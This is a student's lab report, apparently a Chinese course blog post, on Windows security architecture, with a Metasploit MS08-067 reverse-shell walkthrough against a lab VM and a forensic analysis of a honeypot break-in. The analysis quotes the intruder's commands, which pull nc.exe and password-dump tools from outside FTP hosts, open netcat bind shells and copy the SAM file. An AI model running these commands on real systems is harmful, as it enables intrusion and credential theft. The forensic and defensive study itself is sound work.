20212906 2021-2022-2 《网络攻防实践》第六次作业

1 知识点梳理与总结

1.1 Windows操作系统基本框架概述

Windows操作系统的基本结构如图7-2所示,分为运行于处理器特权模式(ring0) 的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。Windows 与包括UNIX在内的现有大多数商业操作系统一样,采用宏内核( monolithic)模式来进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据,这种宏内核机制也使得Windows操作系统容易遭受以驱动方式植入内核的Rootkit 的危害,为了避免这类攻击,最新的Windows7缺省要求所

(1)windows操作系统内核基本模块包含:

组件 说明
windows执行体 包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信
windows内核 是由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能
设备驱动程序 硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求
硬件抽象层 指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来
窗口和图形系统 实现了图形用户界面函数

(2)Windows操作系统在用户态的代码模块则包括:

组件 说明
系统支持进程 Windows 开机自动启动的系统内建服务进程,如负责登录用户身份认证的logon进程、会话管理进程等
环境子系统服务进程 为操作系统运行环境提供支持的服务进程,Windows XP只支持Windows环境子系统,而符合POSIX标准的环境子系统则作为UNIX产品的免费服务所提供
服务进程 通过Windows的服务管理机制所启动的一系列系统及网络服务,如TaskScheduler任务管理器服务,Microsoft SQL Server网络服务等
用户应用软件 在用户态执行的各类用户应用软件
核心子系统DLL 即kernel32 dl/user32 dll/gdi32.I/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的-一个或多个Windows内部的系统服务调用

(3)windows进程和线程管理机制

进程可以看作是windows子系统的执行对象,可执行程序运行时的容器

(4)windows内存管理机制

对于32位Windows系统而言,2GB-4GB区间为系统核心内存,0GB-2GB区间为用户态内存。

  • 系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象,对于用户态程序是无法直接访问的,但对于在内核中运行的特权代码,则可通过DKOM技术来进行枚举和操纵。
  • 用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。

(5)windows文件管理机制

windows下使用NTFS文件结构。NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率。

windows使用PE格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式。

(6)windows注册表管理机制

注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。

注册表有五个一级分支,下面是这五个分支的名称及作用:

名称 作用
HKEY_CLASSES_ROOT 存储Windows可识别的文件类型的详细列表,以及相关联的程序。
HKEY_CURRENT_USER 存储当前用户设置的信息。
HKEY_LOCAL_MACHINE 包括安装在计算机上的硬件和软件的信息。
HKEY_USERS 包含使用计算机的用户的信息。
HKEY_CURRENT_CONFIG 这个分支包含计算机当前的硬件配置信息。

windows网络机制
windows下不同层次网络组件的功能:

不同网络层组件 介绍
网卡硬件设备驱动程序 物理层,厂商提供
NDIS库及mimiport驱动 数据链路层,使得协议驱动程序可以以一种与设备无关的方式来跟网络适配器驱动程序进行通信
TDI 传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信
网络API DLL及TDI客户端 会话层和表示层,独立于具体协议提供网络交互和实现方式
网络应用服务程序与服务进程 应用层,各种网络API DLL,来实现网络交互和通信功能。

1.2 Windows操作系统的安全体系结构与机制

(1)Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制。

(2)Windows身份认证机制

Windows系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。

Windows为每个用户和计算机设置账户进行管理,作为这些安全主体运行程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。

(3)Windows授权与访问控制机制

Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成

属性 作用
Owner SID 对象所有者的SID安全标识符
Group SID 对象所在基本用户组的SID安全标识符
DACL自主访问控制列表 指明了哪些安全主体可以何种方式来访问该对象
SACL系统审计访问控制列表 指明了由哪些主体发起的哪些访问操作需要被审计

(3)Windows安全审计机制

LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存

安全中心还具有防火墙、补丁自动更新、病毒防护机制

IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等

1.3 Windows远程安全攻防技术

(1)Windows远程攻击技术的分类

  • 远程口令猜测与破解攻击
  • 攻击Windows网络服务
  • 攻击Windows客户端及用户

针对特定目标的渗透测试攻击过程

  • 漏洞扫描测试
  • 查找针对发现漏洞的渗透代码
  • 实施渗透测试

(2)使用Metasploit软件实施渗透测试

Metasploit软件采用开发框架和模块组件的可扩展模型

模块组件是真正实施渗透攻击的代码,包括:

模块 作用
Exploits 利用安全漏洞
Auxiliary 进行扫描、查点等其他辅助任务
Payloads 在目标系统上植入和运行Shellcode攻击负载
Encoders 对攻击负载进行编码以躲避检测
Nops 对攻击负载进行填充

1.4 Windows本地安全攻防技术

(1)windows本地特权提升

溢出提权、windows错误系统配置、计划任务提权

措施:及时打补丁、及时跟进厂家的安全警告

(2)windows敏感信息窃取

windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等

措施:使用安全度高、能抵挡破解的口令

(3)windows消灭踪迹

关闭审计功能、清理事件日志

措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中

(4)远程控制与后门

向受控主机中植入第三方的远程控制与后门程序

措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序

2 实践

使用到的虚拟机镜像

镜像名称 用户名 密码 su/su - 提权密码 IP地址
kali user 123 123 192.168.6.2
win2kServer administrator mima1234 - 192.168.6.8

实践一:Metasploit Windows Attacker

  • 任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权

步骤①:在kali中输入msfconsole进入metasploit。如果进不去,执行sudo apt-get install metasploit-framework安装渗透测试框架(简称msf)。

步骤②:输入命令search ms08_067查找ms08_067漏洞,可以得到针对该漏洞的渗透攻击模块,再执行命令:use exploit/windows/smb/ms08_067_netapi。表示我们将攻击的漏洞

步骤③:选择攻击负载模块,先用show payloads列举出所有适用的负载模块,包括:远程Shell、执行命令、添加用户、上传并执行程序、下载并执行程序、VNC远程控制等。有效载荷有三种类型 :

  • Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。
  • Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
  • Stages - 是由Stagers模块下载的payload组件。

show payloads会显示出有效的攻击载荷,依此选择攻击负载模块
(Payload是黑客用来与被黑了的系统交互的简单脚本。 使用payload,可以将数据传输到已经沦陷的系统。看到列出的payload可以能帮助我们上传/执行文件。)

执行命令:set PAYLOAD generic/shell_reverse_tcp以打开反向连接

然后show options,显示我们需要在攻击前需要设置的数据

按照靶机RHOST,攻击机LHOST的原则配置IP

set RHOST 192.168.6.8

set LHOST 192.168.6.2

使用命令show options再次查看payload状态

设置目标操作系统平台类型,set TARGET 0,0代表自动匹配

输入exploit开始攻击(这一步可能得耐心等会)(在攻击之前,推荐先去看眼第三个实践!!!把wireshark打开再回车!!!)

在kali上执行ipconfig/all得到如下图所示,查询到了靶机的IP

在win2000上执行同样的命令,与攻击机结果对比,得到攻击成功的验证

实践二:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),分析数据源只有包含整个攻击过程的二进制记录文件,从文件中提取和分析攻击的全过程,并回答以下问题。

按编号一点点往下找信息

1.攻击者使用了什么破解工具进行攻击?

参考知已知彼Windows系统常见漏洞分析,可以了解常用漏洞,之后用Wireshark打开二进制数据包。根据题目筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,可以发现攻击者一共进行了以下破解工具攻击。

进行了HTTP访问。在此可看到客户端的操作系统等。

往下找到编号117,发现攻击者打开了 boot.ini (系统启动文件),%C0%AF字符非常多,经网络查询可知是“/“的Unicode编码,所以这部分是Unicode编码攻击。

往下观察到编号130和编号140中含有msadc,这是进行探测的过程,随后在编号149,通过追踪tcp流,发现这是一个SQL注入攻击,文本中是数据库操作(select * from customers where)。执行的命令是cmd /c echo werd >> c:\fun。

​所以这是一次基于MSADCS RDS的漏洞攻击。发现ADM!ROX!YOUR!WORLD字符串出现的频率很高,上网查询,我们发现这是一个名为msadc2.pl工具发起的攻击,同时也给出了具体的使用参数perl msacs2.pl -h www.victim.com。

2.攻击者如何使用这个破解工具进入并控制了系统?

①:右键 追踪->TCP流,然后一个流一个流的往下找,从文本中发现其指令为cmd /c echo user johna2k > ftpcom。用同样的方式往下找,可以依次看到下列指令。

cmd /c echo user johna2k > ftpcom
cmd /c echo hacker2000 > ftpcom
cmd /c echo get samdump.dll > ftpcom
cmd /c echo get pdump.exe > ftpcom
cmd /c echo get nc.exe > ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net


上述指令具体意思是,攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续按流往下找之后出现了ftp的连接,目标IP为204.42.253.18。

不过他失败了。但他尝试了很多次,最后成功了。直接筛选ftp找到“logged in”的数据包,编号1106。从这个ftp往前找信息,发现攻击者也是进行了Unicode漏洞攻击,下载了一些文件,通过追踪TCP流可查看到有以下指令:

copy C:\winnt\system32\cmd.exe cmd1.exe
cmd1.exe /c open 213.116.251.162 >ftpcom
cmd1.exe /c echo johna2k >>ftpcom
cmd1.exe /c echo haxedj00 >>ftpcom
cmd1.exe /c echo get nc.exe >>ftpcom
cmd1.exe /c echo get pdump.exe >>ftpcom
cmd1.exe /c echo get samdump.dll >>ftpcom
cmd1.exe /c echo quit >>ftpcom

在这个ftp之后,攻击者执行了命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe,表示攻击者连接了6969端口,并且获得了访问权限。

3.攻击者获得系统访问权限后做了什么?

得到了攻击者攻击的端口,我们筛选tcp.port == 6969,追踪TCP流按流往下找可看攻击者通过这个端口进入后执行了一些命令。

攻击者输入了很多很多命令,其中大部分都无意义。(可能就是测试用的)有意义的指令如下:

①:攻击者尝试查看一些用户信息,执行了net session(列出会话),无权限,然后执行net users返回了主机的用户列表。攻击者发送了一个echo消息到C盘根目录文件README.NOW.Hax0r。攻击者尝试通过net group查看组用户、net locagroup查看本地组用户、以及net group domain admins查看所有域管理员列表。都无权限。


②:攻击者尝试寻找msadc目录,执行pdump尝试破解administrator的口令密文,失败。

③:攻击者删除samdump和pdump。使用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行rdisk /s-(攻击者输了多次才找到正确的)备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。

④:攻击者主动退出了端口6969,执行了命令nc -l -p 6968 -e cmd1.exe,重新建立了一个端口6968,进行了unicode攻击。筛选这个端口,追踪数TCP流发现,攻击者将SAM文件拷贝到IIS的根目录inetpub,之后尝试删除这个文件失败。然后他又无意义地(也许是我不懂)查看了一些盘符,之后退出。

⑤:攻击者重新建立了端口,建立了一个test.txt文件,最后进行了痕迹清除。留下了嘲讽的话和一个wei笑。

4.我们如何防止这样的攻击?

​可做的操作例如:及时修补漏洞,对漏洞打上相应的补丁;禁用用不着的 RDS 等服务;防火墙封禁网络内部服务器发起的连接;为 web server 在单独的文件卷上设置虚拟根目录;使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能;使用 IIS Lockdown 和 URLScan 等工具加强 web server。

5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

是的。攻击者留下了信息,如上第⑤项,然而我并不知道什么是rfp。

实践三:团队对抗实践: Windows系统远程渗透攻击与分析

攻防对抗实践内容:攻击方Metasploit Windows Attack,防御方: wireshark 捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补J进行修补,给出攻防过程报告。

攻击方:使用metasploit, 选择metasploitable中的漏洞进行渗透攻击,获得控制权。

防守方:使用tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

重复实践1,使用攻击命令exploit的内容

打开wireshark,再使用攻击命令exploit

可以看出攻击者ip地址192.168.6.2,端口4444,靶机ip地址192.168.6.8,端口1042等信息

攻击发起时间,从第一个ARP请求开始
4/5/8三个数据包是tcp三次握手包,建立连接后,从下图中我们发现攻击机向靶机发了许多SMB协议包(如6)

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的

然后这时候我们在攻击机输入ipconfig/all命令,会显示如下结果


上图就是攻击机输入 ipconfig并执行,靶机返回执行结果的相关数据包。

3 学习中遇到的问题及解决

Q:kali 中 msfconsole 命令无效。
A:安装 metasploit-framework 即可解决。

Q:kali 中利用 win 的漏洞攻击后,执行 shell 指令无效。
A:多试了几次就正常了。

Q:使用 MS08-067 漏洞攻击靶机,靶机卡死,无法进行后续操作。
A:重启。

4 总结

对于两种系统上的网络攻击具体步骤一般都是:使用扫描工具对攻击对象的端口、和漏洞进行扫描,看有什么漏洞可以使用;选择好安全漏洞,就可以试实远程渗透攻击;获得主机的权限之后,便努力把自己的权限变得无敌,全方位控制靶机;离去之前要清除日志,留下后台系统。

posted @ 2022-04-18 21:01  MizDow  阅读(141)  评论(0编辑  收藏  举报